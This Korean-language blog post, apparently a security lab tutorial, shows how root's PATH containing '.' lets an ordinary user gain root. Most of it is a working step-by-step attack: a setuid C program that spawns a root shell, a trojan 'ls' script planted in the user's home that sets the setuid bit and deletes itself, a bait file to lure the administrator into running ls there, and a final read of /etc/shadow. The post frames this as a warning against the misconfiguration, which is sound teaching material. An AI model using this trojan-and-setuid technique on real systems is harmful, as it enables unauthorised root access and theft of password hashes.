root 사용자의 PATH 변수 설정에

'현재 디렉토리(.)'가 설정 되어 있다면

일반 사용자는 이 취약점을 이용하여 root 권한을 따낼 수 있다.

일반 사용자가 root 사용자에 의한 프로그램 실행

 

 

 

(주의) 관리자(EX:root)의 PATH 변수 설정은 현재 디렉토리가 포함되어 있으면 안된다.

 

 

 

■ 관리자의 잘못된 PATH 변수 설정 예

PATH=.:/bin:/usr/bin:/usr/sbin

PATH=/bin:/usr/bin:/usr/sbin:.

PATH=/bin:/usr/bin:.:/usr/sbin

PATH=:/bin:/usr/bin:/usr/sbin

PATH=/bin:/usr/bin:/usr/sbin:

PATH=/bin::/usr/bin:/usr/sbin

 

PATH 변수에 대해서

- 명령어가 있는 디렉토리를 선언할 때 사용하는 변수

 

# ls

(절대경로) # /bin/ls

(상대경로) # cd /bin

# ./ls

 

 

(root 사용자)

 

[TERM1] root 사용자의 윈도우

# unalias ls

#

 

# useradd hacker

# passwd hacker (# echo hacker | passwd --stdin hacker)

Changing password for user hacker.

New UNIX password: (hacker)

BAD PASSWORD: it is based on a dictionary word

Retype new UNIX password: (hacker)

passwd: all authentication tokens updated successfully.

 

 

# export PATH=.:$PATH

# echo $PATH

.:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin

 

 

 

(Hacker 사용자)

 

[TERM2] hacker 사용자의 윈도우

# telnet localhost

hacker 사용자로 로그인

 

$ id

uid=503(hacker) gid=503(hacker) groups=503(hacker)


$ pwd

/home/hacker


$ vi /tmp/.hacker.c

#include<sys/types.h>

#include<unistd.h>

#include<stdio.h>

 

int main()

{

setuid(0);

setgid(0);

system("/bin/bash");

}


$ gcc -o /tmp/.hacker /tmp/.hacker.c

$ ls -l /tmp/.hacker

-rwxrwxr-x 1 hacker hacker 5149 Sep 16 13:13 /tmp/.hacker

 

 

$ cd

$ vi ls

#!/bin/bash

 

chown root /tmp/.hacker

chmod u+s /tmp/.hacker

 

rm -f $0

rm -f /tmp/.hacker.c

 

/bin/ls $*

 

 

$ chmod 755 ls

$

 

$ cat > -i

Your System Hacking!!!!!

<CTRL + D>

 

 

$ ls

-i ls

 

=====> 관리자 Call (도움 요청 내용: '-i' 파일을 지울수 없다.)

 

 

(root 사용자)

 

[TERM1] root 사용자의 윈도우

# cd ~hacker (# cd /home/hacker)

# ls

-> ① PATH 변수 참조

-> ② 현재디렉토리 검색

-> ③ 현재디렉토리 밑에 있는 ls 명령어 수행

 

# rm -i

# rm \-i

# rm '-i'

# rm "-i"

[참고] # find . -inum 450 -type f -exec rm -f {} \;

 

 

(Hacker 사용자)

 

[TERM2] hacker 사용자의 윈도우

$ ls -l /tmp/.hacker

-rwsrwxr-x 1 root hacker 5149 Sep 16 09:23 /tmp/.hacker

 

 

$ /tmp/.hacker

$ id -a

uid=0(root) gid=0(root) groups=503(hacker)


$ cat /etc/shadow

-> 정상적으로 내용이 보인다.

 

$ exit

#

 

728x90

+ Recent posts